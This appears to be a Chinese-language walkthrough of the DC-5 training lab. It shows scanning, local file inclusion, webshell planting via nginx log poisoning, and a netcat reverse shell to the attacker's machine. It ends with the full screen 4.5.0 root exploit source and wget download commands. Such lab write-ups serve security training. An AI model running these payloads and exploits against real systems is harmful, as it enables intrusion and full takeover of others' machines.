目录
DC系列之DC-5渗透测试
实验环境:
实验步骤:
1、主机扫描,确定目标主机IP
2、对DC-5进行端口扫描
3、访问DC-5的web服务,了解相关信息
4、使用wfuzz测试页面参数
5、看看根目录下有哪些文件,我们尝试暴力破解
6、测试是否为动态包含,使用BurpSuite 爆破变量名
7、远程文件包含写入木马(失败)
8、本地文件包含
8、反弹shell ,建立长久性的连接(NC反弹,-e可用)
9、考虑提权
DC系列之DC-5渗透测试
实验环境:
目标机DC-5的MAC地址:00:0C:29:CE:ED:B8(IP测试出来为192.168.3.175)(重启了一遍又变成了192.168.3.180,醉了!)攻击机kali的IP地址:192.168.3.249实验步骤:
1、主机扫描,确定目标主机IP
命令:nmap -sP 192.168.3.1/24 -oN nmap.sP(扫描得知DC-5的IP为192.168.3.175)
2、对DC-5进行端口扫描
命令:nmap -A 192.168.3.175 -p- -oN nmap.A
3、访问DC-5的web服务,了解相关信息
点击Contact,尝试提交一些数据,测试是否存在XSS漏洞
提交后跳转到如下界面:
我们再提交一次:
4、使用wfuzz测试页面参数
具体使用可以参考:WFUZZ的使用
5、看看根目录下有哪些文件,我们尝试暴力破解
使用工具burpsuite / 御剑 / dirb(dirb默认字典只是目录字典,不能爆破文件,dirb是可以自定义字典的)
打开burpsuite扫描,发现了有footer.php最特殊
一刷新就会变化
我们发现192.168.3.175/thankyou.php和/footer.php,刷新一下版权都会变化
我们猜测这两个文件是包含关系(thankyou.php文件引入了footer.php)PHP中从一个文件去调用另外一个文件的过程叫文件包含
6、测试是否为动态包含,使用BurpSuite 爆破变量名
192.168.3.175/thankyou.php?fuzz=footer.php
导入文件名的字典,得到其变量名是file
重启DC-5后,IP变成了1992.168.3.180,下面就用192.168.3.180演示
包含一下/etc/passwd
如果我们去包含一个文件的时候,如果包含的是一句话木马的话,就可以直接用菜刀连接了。
我们如何把一句话木马弄到服务器上?
远程文件包含
7、远程文件包含写入木马(失败)
通过http协议的方式,叫远程文件包含
远程文件包含的前提:要开启allow_url_fopen和allow_url_include
测试后发现我们包含文件的时候只能包含本地文件
8、本地文件包含
我们想本地文件中有一句话木马。我们怎样把一句话木马写到本地文件里面
我们所有的用户操作,对于一个web应用来讲都有日志,我们如果把提交的内容写到它的日志里面,通过文件包含去包含这个日志就可以执行日志文件中的一句话木马
目标中的日志文件在哪里?
通过测试我们知道目标服务器属于nginx,我们做一个爆破(使用通用的http的日志目录字典,字典要强大)
找到系统日志文件路径
/var/log/nginx/access.log
把一句话木马写到日志文件中去
尝试用蚁剑连接
连接成功!
我们考虑把一句话木马放到/tmp目录下
为什么要换成/tmp/404.html呢,因为日志一直读写,对我们操作会有影响
再用蚁剑连接,得到一个稳定的shell
8、反弹shell ,建立长久性的连接(NC反弹,-e可用)
在反弹之前,我们kali先本地监听一下,nc -lvvp 1234
-e 参数可用
[nc -e /bin/bash 192.168.3.249 1234]
反弹成功!
进入交互式状态!
python -c 'import pty;pty.spawn("/bin/bash")'
9、考虑提权
思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
思路2、查看有没有一些具有suid权限的命令
find / -perm /4000 2>dev/null
发现screen 4.5.0存在一个本地特权提升的漏洞
有个sh文件
把这个文件拷贝:cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
cat一下这个脚本
把这个脚本上传到服务器尝试运行
我们本地开启一个80
python -m SimpleHTTPServer 80
通过浏览器去访问一下
192.168.3.249/41154.sh
来到蚁剑——》来到/tmp目录下,,单击右键有个WGET下载
我们也可以通过命令行的方式,
我们分析一下41154.sh
#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: /archive/html/screen-devel/-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/)echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat << EOF > /tmp/libhax.c#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/at << EOF > /tmp/rootshell.c#include <stdio.h>int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so...
打开41154.sh 脚本文件,尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下
查看脚本
vim libhax.c把文件内容粘贴进去
----libhax.c
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");}
编译,生成libhax.so 文件
gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
-------rootshell.c
#include <stdio.h>int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);}
编译,生成rootshell 文件
gcc -o ./rootshell ./rootshell.c
vim run.sh
---run.sh
#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: /archive/html/screen-devel/-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/)echo "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so.../tmp/rootshell
本地开启http服务
python -m SimpleHTTPServer
靶机/tmp 目录下远程下载
wget http://192.168.3.249/rootshell
wget http://192.168.3.249/libhax.so
wget http://192.168.3.249/run.sh
运行run.sh 文件,进行提权